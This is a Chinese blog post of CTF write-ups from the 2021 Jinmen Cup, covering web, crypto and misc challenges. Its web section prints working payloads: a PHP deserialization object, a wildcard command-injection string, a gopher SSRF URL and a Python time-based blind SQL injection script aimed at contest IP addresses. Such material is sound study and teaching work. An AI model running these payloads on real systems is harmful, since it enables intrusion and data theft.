2021津门杯web部分复现

最新推荐文章于 2023-08-04 17:34:37 发布
最新推荐文章于 2023-08-04 17:34:37 发布
阅读量1k 收藏 2
点赞数
分类专栏： 赛题复现 文章标签： 安全 wp 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44033675/article/details/116905572
版权

Web

1、power_out

通过分析（停电）可以知道可能是有备份文件或者编辑器异常退出时保存的记录。
扫描目录或者查看常见的目录
vim编辑器备份文件

.index.php.swp（找到文件下载）
.index.php.swo
.index.php.swn

发现乱码

b0VIM 7.4      o慲? 4   root                                    7fa16b649c4b                            /var/www/html/img/index.php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       
 3210    #"! U                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 tp           ?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ad  %
  =     ?       ?  ?  ?  ?  ?  ?  ?  i  7  	  ?  ?  ?  ?  ?  ?  t  U  @  :  7    ?  ?  ?  ?  ?  ?  ?  ?  ?  x
  r
  q
  X
  1
  
  ?  ?  ?  ?  ~  i  c  b  G  &             ?  ?  ?  ?  ?  ?  ?  ?  M  E  =  <                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       </html> </body> <p><br/>鏄ㄥぉ鏅氫笂鍥犱负14绾уぇ椋庡仠鐢典簡.</p> <body> <html>  ?>  $log_unser = unserialize($log); $log = str_replace('flag','',$log); $log = preg_replace("/[<>*#'|?\n ]/","",$log); $log = $_GET['log'];  }      }         echo "this is destruct";     function __destruct(){      }         return $str;         $str=str_replace('flag','',$str);         $str=preg_replace("/[<>*#'|?\n ]/","",$str);     public function waf($str){      }         $obj = new logger($this->weblogfile);         // self::waf($this->filepath);     function __wakeup(){      }     	echo "$flag";     	$flag="system('cat /flag')";     function __construct() {      public $weblogfile; class weblog {  }     }         echo "this is destruct";     function __destruct(){        }         fclose($fd);         fwrite($fd,$msg."\n");         $fd=fopen($this->logFile,"a+");     function log($msg){        }                  readfile($this->logFile);         $this->logFile =  $file;         $this->exitMsg="#--session end--#\n";         $this->initMsg="#--session started--#\n";         // initialise variables     function __construct($file){        public $exitMsg;     public $initMsg;     public $logFile; class logger{ <?php

vim -r 恢复文件

<?php
class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;

    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--session end--#\n";
        $this->logFile =  $file;
        readfile($this->logFile);

    }

    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }

    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
    public $weblogfile;

    function __construct() {
        $flag="system('cat /flag')";
        echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
    public $weblogfile;

    function __construct() {
        $flag="system('cat /flag')";
        echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }

}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);

?>
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

发现是反序列化，构造weblog类，通过readfile($this->logFile);得到flag
flag双写绕过

<?php

class weblog {
    public $weblogfile = '/flflagag';

    function __construct() {
        $flag="system('cat /flag')";
        echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }
}

$a = new weblog();

echo serialize($a);

O:6:“weblog”:1:{s:10:“weblogfile”;s:9:"/flflagag";}

2、hate_php

发现是命令执行，发现字母，数字、$、等被过滤了，通过<?= ?>可绕过，
使用通配符读取文件，cat命令在usr/bin/cat,网站根目录一般在/var/www/html/所以可以直接用通配符读取网站内容。`

<?=`/???/???/ /???/???/????` ?>

然而找了半天没找到，进一步扩大范围

<?=`/???/???/ /????` ?>

哦豁找到了，就在这。
（刚开始思路是无数字字母，构造命令，结果试半天好像不行。哪有通配符来的快haha）

easy_sql


<?php
highlight_file(__FILE__);
    session_start();
    $url = $_GET['url'] ?? false;
    if($url)
    {
    $a = preg_match("/file|dict/i", $url);
        if ($a==1)
        {
            exit();
        }

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_exec($ch);
            curl_close($ch);
     }

?>

刚开始是想ssrf利用gopher打mysql，但是没有用户名，爆破也没成功，无奈放弃。。。
具体参考大佬的博客 宸极实验室
同时目录扫描发现admin.php
结合题目为easysql
猜测为admin.php进行post注入

http://122.112.251.23:20001/?url=gopher://127.0.0.1:80/_POST%2520%2fadmin.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Apoc%253D123%250D%250A

url=gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
poc=123

最终得到有用payload为：
1） and sleep(10) and(1=1
之后就是写脚本进行盲注了，脚本如下：


# -*- coding: utf-8 -*-
import urllib
import requests
import time


flag='flag is :'
s = '0123456789abcdefghijklmnopqrstuvwxyz~!@#$%{}-_'

for i in range(100):
    for ss in s:
        payload = "poc=1)and if(substr((select user()),%d,1)='%s',sleep(5),0) and (1=1" % (i,ss)
#print(payload)
        test =\
"""POST /admin.php HTTP/1.1
Host:127.0.0.1
Accept: */* 
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close 

%s
""" % (len(payload),payload)
        tmp = urllib.parse.quote(test)
        new = tmp.replace('%0A','%0D%0A')
        new = new.replace('%','%25')
        result = '_'+new

        url = 'http://121.36.147.29:20001/?url=gopher://127.0.0.1:80/'+result
        print(url)
        startTime=time.time()
        data= requests.get(url).content[3400:]
        if(time.time() - startTime > 5):
            flag += ss
            print flag

uploadhub

gooss

Crypto

1、RSA

小李截获一个RSA加密信息，能帮忙解开吗？
c=58703794202217708947284241025731347400180247075968200121227051434588274043273799724484183411072837136505848853313100468119277511144235171654313035776616454960333999039452491921144841080778960041199884823368775400603713982137807991048133794452060951251851183850000091036462977949122345066992308292574341196418

e=119393861845960762048898683511487799317851579948448252137466961581627352921253771151013287722073113635185303441785456596647011121862839187775715967164165508224247084850825422778997956746102517068390036859477146822952441831345548850161988935112627527366840944972449468661697184646139623527967901314485800416727
n=143197135363873763765271313889482832065495214476988244056602939316096558604072987605784826977177132590941852043292009336108553058140643889603639640376907419560005800390316898478577088950660088975625569277320455499051275696998681590010122458979436183639691126624402025651761740265817600604313205276368201637427

发现e，n很大，用师傅的

rsa-wiener-attack

在这里插入图片描述

MISC

混合编码

JTJGMTAyJTJGMTA4JTJGOTclMkYxMDMlMkYxMjMlMkYxMTMlMkY0OSUyRjEyMCUyRjc1JTJGMTEyJTJGMTA5JTJGNTYlMkYxMTglMkY3MyUyRjc2JTJGODclMkYxMTQlMkYxMDclMkYxMDklMkY4OCUyRjEyMCUyRjg2JTJGNTQlMkYxMDYlMkY0OSUyRjQ5JTJGNzclMkYxMDAlMkY5OSUyRjcxJTJGMTE2JTJGNzYlMkYxMjIlMkYxMTglMkY4MiUyRjEyMSUyRjg2JTJGMTI1

推测base64，先进行base64解码

%2F102%2F108%2F97%2F103%2F123%2F113%2F49%2F120%2F75%2F112%2F109%2F56%2F118%2F73%2F76%2F87%2F114%2F107%2F109%2F88%2F120%2F86%2F54%2F106%2F49%2F49%2F77%2F100%2F99%2F71%2F116%2F76%2F122%2F118%2F82%2F121%2F86

芜湖~
urldecode

/102/108/97/103/123/113/49/120/75/112/109/56/118/73/76/87/114/107/109/88/120/86/54/106/49/49/77/100/99/71/116/76/122/118/82/121/86

转ASCII
在这里插入图片描述

m1bmp

在这里插入图片描述
LSB隐写，base64解码可得flag

flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}

m0usb

12.pcapng
流量分析
发现是键盘信息，用脚本提取数据。
在这里插入图片描述
发现是一串数字，百度搜索是云影加密
在这里插入图片描述

1ance.
关注
专栏目录
[网络安全提高篇] 一二八.恶意软件分析之利用MS Defender实现恶意样本家族批量标注（含学术探讨）
杨秀璋的专栏
04-24 449
前文介绍了IDA Python配置过程和基础用法，然后尝试提取恶意软件的控制流图（CFG）。这篇文章将讲解如何利用MS Defender实现恶意样本家族批量标注，在通过VS、VT采集批量样本后，通常需要样本家族标注，如何准确识别家族类别至关重要，其将为后续的恶意软件家族分类或溯源提供帮助。在此感谢李师弟热心的指导和帮助，基础性基础，希望您喜欢，且看且珍惜。
[网络安全提高篇] 一一二.DataCon Coremail邮件安全竞赛之钓鱼邮件识别及分类
热门推荐
杨秀璋的专栏
10-26 2万+
这是作者2020年参加清华大学、Coremail、奇安信DataCon举办的比赛，主要是关于钓鱼和异常邮件识别研究。非常感谢举办方让我们学到了新知识，DataCon也是我比较喜欢和推荐的大数据安全比赛，这篇文章2020年10月就进了我的草稿箱，但由于小珞珞刚出生，所以今天才发表，希望对您有所帮助！感恩同行，不负青春。
[津门杯]全部WEB题解
lllffg的博客
05-11 1143
津门杯WEB题解 日常比赛被爆，感谢队里教我题的大师傅 power_cut 存在一个.index.php.swp文件，vim -r 恢复一下 <?php class logger{ public $logFile; public $initMsg; public $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--sess
津门杯&红帽杯2021
Huamang的博客
05-09 1025
津门杯 power_cut <?php class logger{ public $logFile; public $initMsg; public $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session
攻防世界Web题wp解析（难度3）
最新发布
m0_63138919的博客
08-04 327
本文为攻防世界web题难度3的解题思路和方法
津门杯 easysql
Je3Z的博客
05-11 329
第一次遇到ssrf打sql注入吧 index.php的代码 <?php highlight_file(__FILE__); session_start(); $url = $_GET['url'] ?? false; if($url) { $a = preg_match("/file|dict/i", $url); if ($a==1) { exit(); } $
CTFHub技能树 Web-SSRF POST请求
Senimo
07-02 3121
POST请求 hint：这次是发一个HTTP POST请求，对了，ssrf是用php的curl实现的，并且会跟踪302跳转，加油吧骚年。 启动环境，访问页面为空白，查看URL： http://challenge-d01ce204edb10174.sandbox.ctfhub.com:10800/?url=_ 通过 GET 传参直接拼接上127.0.0.1/flag.php，访问后得到一个输入框： 查看源码： <form action="/flag.php" method="post"> &l
2021年津门杯ctf线上赛记录（WICCTF）
lifanxin的博客
05-12 2031
津门杯ctf线上赛概述pwn题easypwnpwnCTFM总结 概述   本篇博客记录下自己的第一次ctf比赛经历，其实不完全是第一次，之前也参加过其他比赛，但只能做个签到就走了，这次不一样了，好歹做出了一道pwn题，有一道本来是有机会的，搞错libc了，线上没拿到flag，不过线上复现了下，感觉还行。因此特写下此篇博文，记录自己的一血。???? pwn题   我个人现在只会做做pwn题，后面打算也看看web，提升一下综合实力，这里介绍下比赛中的两道pwn题，和官方wp不一样，这里是我自己的思路。 easy
[网络安全提高篇] 一一三.Powershell恶意代码检测 (1)论文总结及抽象语法树（AST）提取
杨秀璋的专栏
03-11 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。这篇文章将详细讲解PowerShell、Powershell恶意代码检测总结及抽象语法树（AST）提取。希望这篇文章对您有帮助，也推荐大家去阅读论文，且看且珍惜。
初学ssrf的三个协议
m0_62422842的博客
05-16 1487
gopher协议 什么是gopher协议呢？ Gopher是Internet上一个非常有名的信息查找系统。在WWW出现之前，Gopher是Internet上最主要的信息检索工具。但在www出现后，Gopher就没落了。 gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议 这个协议在各个语言的限制 gopher协议的格式： URL:gopher://<host>:&.
php禁用gopher协议,SSRF攻击-运用gopher协议构造POST包--emmmm（http://10.112.68.215:10004/index.php?action=login）...
weixin_42629522的博客
03-18 394
还是天枢的一道CTF题，启程！分析题目，自己注册账户并登陆后，提示输入一个url，网站会自己运行查找网页信息。 emmmmm，很挑衅，网站就当作服务器，我们在url框中输入一个伪造的执行代码，让他运行获取到机密信息，哼哼。这就是SSRF(服务端请求伪造)，伪造的代码留给服务端自己执行并返回我们需要的机密信息。在里面乱输入了一些东西，没有任何反馈。此时，我们就要扫描网站啊。1.扫描网站+分析rob...
2021-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php
weixin_40872714的博客
03-29 2589
2021-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php 打开网址直接告诉你过滤的代码，把字母数字和$、_、@都过滤了，直接放弃 然后百度搜了这道题的答案，感觉发现了新大陆一样，下面是相关的几篇文章，强烈推荐阅读： 过滤了大写字母和数字的绕过方法： https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html 过滤了大小写字母、数字、‘$’和‘_’ https://www.leavesongs.co
攻防世界流量分析1
qq_53105813的博客
08-04 2842
攻防世界
渗透测试干货--SSRF漏洞靶场实战获取对方root权限详解
Hexuefu_Bayonet的博客
04-24 2083
20200424 1.SSRF测试方法 1.1 漏洞环境：PHP脚本、Windows 1.2 利用工具：nc、bash 1.3 测试过程 首先采用如下脚本创建一个PHP的服务端： <?PHP $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCAT...
红日代码审计（day1-day14）
weixin_44897902的博客
01-05 9225
day_1:wishlist class Challenge { const UPLOAD_DIRECTORY = './solutions/'; private $file; private $whitelist; public function __construct($file) { $this->file = $file; $this->whi...
正则提取URL
weixin_30861797的博客
03-06 102
<?phpfunction getPageLink($url){ set_time_limit(0); $html = file_get_contents($url); preg_match_all("/<a(s*[^>]+s*)href=([\"|']?)([^\"'>\s]+)([\"|']?)/ies",$html,$ou...
SSRF漏洞-Gopher协议扩展利用
小刚的博客
08-20 2536
作者：小刚 一位苦于信息安全的萌新小白帽，记得关注给个赞，谢谢 本实验仅用于信息防御教学，切勿用于其它用途 Gopher协议扩展利用Gopher协议利用要点利用方式小案例ssrf利用redis写入webshell Gopher协议 Gopher在HTTP协议前是非常有名的信息查找系统，但是很老了，很少服务会用到它 但是！在SSRF漏洞中，它大方光彩，让SSRF漏洞利用更加广泛 利用此协议可以对ftp，memchahe，mysql，telnet，redis，等服务进行攻击， 并可以构造发送GET，POST.
津门杯wp
qq_53755216的博客
06-06 287
hate_php <?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if(preg_match("/[A-Za-z0-9_$@]+/",$code)){ die('fighting!'); } eval($code); } 一道命令执行题目
2021津门杯部分RE题wp
sln_1550的博客
05-11 1048
文章目录GoodREeasyRebabydsp GoodRE 很简单的一个TEA算法，直接用脚本解密： def decrypt(v, k): v0 = v[0] v1 = v[1] x = 0xC6EF3720 delta = 0x9E3779B9 k0 = k[0] k1 = k[1] k2 = k[2] k3 = k[3] for i in range(32): v1 -= ((v0 << 4) + k2
列举天津最好玩的十大景点，并说明理由
02-10
3. 津门古迹：津门古迹是天津的传统景点，包括古城墙、津门古街、古建筑等，可以让游客感受到古代的风貌。 4. 天津中医药大学：位于天津市滨海新区，是一所集中医药教育、科研和医疗服务于一体的综合性大学。 5. ...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值